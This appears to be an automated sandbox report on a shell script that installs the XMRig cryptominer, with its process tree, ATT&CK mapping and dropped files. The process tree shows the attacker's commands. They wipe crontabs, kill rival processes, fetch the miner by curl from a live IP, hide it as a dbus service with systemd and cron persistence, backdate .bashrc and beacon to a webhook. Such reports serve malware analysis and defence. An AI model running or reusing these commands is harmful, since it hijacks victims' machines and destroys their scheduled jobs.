Overview

overview

10

Static

static

1

sex.sh

ubuntu-18.04-amd64

10

sex.sh

debian-9-armhf

10

sex.sh

debian-9-mips

10

sex.sh

debian-9-mipsel

10

Resubmissions

08/05/2026, 17:40

260508-v8t3kaez3r10

08/05/2026, 17:39

260508-v79fvsbt9z10

08/05/2026, 17:38

260508-v75snsez2r1

08/05/2026, 17:38

260508-v7zawsey9r1

Analysis

  • user interaction
    yes
  • max time kernel
    23s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/05/2026, 17:39

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sex.sh
  • Size 5KB
  • Sample260508-v79fvsbt9z
  • SHA256 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Modifies Bash startup script 2 TTPs 2 IoCs
    persistence
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 4 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sex.sh
    /tmp/sex.sh
    1⤵
    • Creates/modifies environment variables
    • Modifies systemd
    • Modifies Bash startup script
    • Writes file to tmp directory
    PID:642
    • /bin/systemctl
      systemctl is-active --quiet dbus-system-monitor.service
      2⤵
      • Enumerates kernel/hardware configuration
      PID:647
    • /bin/systemctl
      systemctl stop crond
      2⤵
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      PID:660
    • /usr/bin/crontab
      crontab -r
      2⤵
      • Reads runtime system information
      PID:665
    • /bin/rm
      rm -rf "/etc/cron.d/*"
      2⤵
        PID:667
      • /usr/bin/which
        which podman
        2⤵
          PID:670
        • /usr/bin/which
          which docker
          2⤵
            PID:673
          • /usr/bin/awk
            awk " NR>1 && \$4 > 60 && \$3 !~ /(httpd|nginx|mysqld|php-fpm|sshd|node|redis|systemd|dbus-daemon-service)/ { print \$1 }"
            2⤵
              PID:677
            • /usr/bin/xargs
              xargs -r kill -9
              2⤵
                PID:678
                • /usr/local/sbin/kill
                  kill -9 675 677
                  3⤵
                    PID:680
                  • /usr/local/bin/kill
                    kill -9 675 677
                    3⤵
                      PID:680
                    • /usr/sbin/kill
                      kill -9 675 677
                      3⤵
                        PID:680
                      • /usr/bin/kill
                        kill -9 675 677
                        3⤵
                          PID:680
                        • /sbin/kill
                          kill -9 675 677
                          3⤵
                            PID:680
                          • /bin/kill
                            kill -9 675 677
                            3⤵
                            • Reads CPU attributes
                            PID:680
                        • /bin/ps
                          ps -eo "pid,ppid,cmd,%cpu" "--sort=-%cpu"
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:676
                        • /usr/bin/pkill
                          pkill -9 -f xfsd
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:681
                        • /usr/bin/pkill
                          pkill -9 -f kworkerds
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:687
                        • /bin/mkdir
                          mkdir -p /usr/share/zoneinfo/.dbus/.k
                          2⤵
                            PID:693
                          • /bin/uname
                            uname -m
                            2⤵
                              PID:695
                            • /bin/ls
                              ls "/lib/ld-musl*"
                              2⤵
                                PID:697
                              • /usr/bin/curl
                                curl -sSL -k -o /usr/share/zoneinfo/.dbus/dbus-daemon-service http://103.213.248.200/xmrig_g
                                2⤵
                                • Checks CPU configuration
                                PID:700
                              • /bin/chmod
                                chmod +x /usr/share/zoneinfo/.dbus/dbus-daemon-service
                                2⤵
                                • File and Directory Permissions Modification
                                PID:736
                              • /bin/cat
                                cat
                                2⤵
                                  PID:737
                                • /bin/systemctl
                                  systemctl daemon-reload
                                  2⤵
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:738
                                • /bin/systemctl
                                  systemctl enable dbus-system-monitor.service
                                  2⤵
                                  • Enumerates kernel/hardware configuration
                                  PID:751
                                • /bin/systemctl
                                  systemctl restart dbus-system-monitor.service
                                  2⤵
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:764
                                • /bin/systemctl
                                  systemctl start crond
                                  2⤵
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:790
                                • /usr/bin/crontab
                                  crontab -
                                  2⤵
                                  • Creates/modifies Cron job
                                  PID:792
                                • /usr/bin/crontab
                                  crontab -l
                                  2⤵
                                    PID:793
                                  • /bin/grep
                                    grep -v dbus-daemon-service
                                    2⤵
                                      PID:794
                                    • /bin/grep
                                      grep -q release-upgrade /root/.bashrc
                                      2⤵
                                        PID:795
                                      • /usr/bin/stat
                                        stat -c "%y" /etc/passwd
                                        2⤵
                                          PID:796
                                        • /bin/mkdir
                                          mkdir -p /etc/update-manager/
                                          2⤵
                                            PID:797
                                          • /usr/bin/touch
                                            touch -d "2023-10-17 09:28:44.016012000 +0100" /root/.bashrc
                                            2⤵
                                            • Creates/modifies environment variables
                                            • Modifies Bash startup script
                                            PID:798
                                          • /usr/bin/curl
                                            curl -s -k -X POST -d "ok=1" https://webhook.site/f8aba51a-1657-4c9a-b1eb-f82231d70bab
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:799
                                          • /bin/rm
                                            rm -f /tmp/sex.sh
                                            2⤵
                                              PID:803

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Cron

                                                1
                                                T1053.003

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                2
                                                T1547

                                                XDG Autostart Entries

                                                1
                                                T1547.013

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Systemd Service

                                                1
                                                T1543.002

                                                Event Triggered Execution

                                                1
                                                T1546

                                                Unix Shell Configuration Modification

                                                1
                                                T1546.004

                                                Hijack Execution Flow

                                                1
                                                T1574

                                                Path Interception by PATH Environment Variable

                                                1
                                                T1574.007

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Cron

                                                1
                                                T1053.003

                                                Privilege Escalation

                                                Boot or Logon Autostart Execution

                                                2
                                                T1547

                                                XDG Autostart Entries

                                                1
                                                T1547.013

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Systemd Service

                                                1
                                                T1543.002

                                                Event Triggered Execution

                                                1
                                                T1546

                                                Unix Shell Configuration Modification

                                                1
                                                T1546.004

                                                Hijack Execution Flow

                                                1
                                                T1574

                                                Path Interception by PATH Environment Variable

                                                1
                                                T1574.007

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Cron

                                                1
                                                T1053.003

                                                Defense Evasion

                                                File and Directory Permissions Modification

                                                1
                                                T1222

                                                Linux and Mac File and Directory Permissions Modification

                                                1
                                                T1222.002

                                                Hijack Execution Flow

                                                1
                                                T1574

                                                Path Interception by PATH Environment Variable

                                                1
                                                T1574.007

                                                Virtualization/Sandbox Evasion

                                                1
                                                T1497

                                                System Checks

                                                1
                                                T1497.001

                                                Credential Access

                                                Discovery

                                                System Information Discovery

                                                2
                                                T1082

                                                Virtualization/Sandbox Evasion

                                                1
                                                T1497

                                                System Checks

                                                1
                                                T1497.001

                                                Lateral Movement

                                                Collection

                                                Command and Control

                                                Web Service

                                                1
                                                T1102

                                                Exfiltration

                                                Impact

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                release-upgrade
                                                • Path /etc/update-manager/release-upgrade
                                                • Size 27B
                                                • SHA256 db05de79e234af2e0437d98dfb31108293f8169f569141d92a1e78b462d847e4
                                                • MD5 SHA1 SHA512
                                                Submit Download

                                                sh-thd.wd6uFE
                                                • Path /tmp/sh-thd.wd6uFE
                                                • Size 1KB
                                                • SHA256 75577a3ffcba5a566f2076fffe0ca4fa101acbe2c703c7a0c6d5a6261eecdb9a
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                config.env
                                                • Path /usr/share/zoneinfo/.dbus/config.env
                                                • Size 103B
                                                • SHA256 72a8ba61ce79889244213267a91f54d35301ad671cbd8b6d2ad89dcb2b8dce15
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                dbus-daemon-service
                                                • Path /usr/share/zoneinfo/.dbus/dbus-daemon-service
                                                • Size 16.1MB
                                                • SHA256 75c7b50bd0870b47e05521d5be9fed4dda008e08836894b3f3c2b57bdb32e6cd
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                tmp.EJaadH
                                                • Path /var/spool/cron/crontabs/tmp.EJaadH
                                                • Size 239B
                                                • SHA256 6103a44202d5bf9c4ba1d745cf48a315ce4ba097a300275cc7ba382bd4abdf32
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download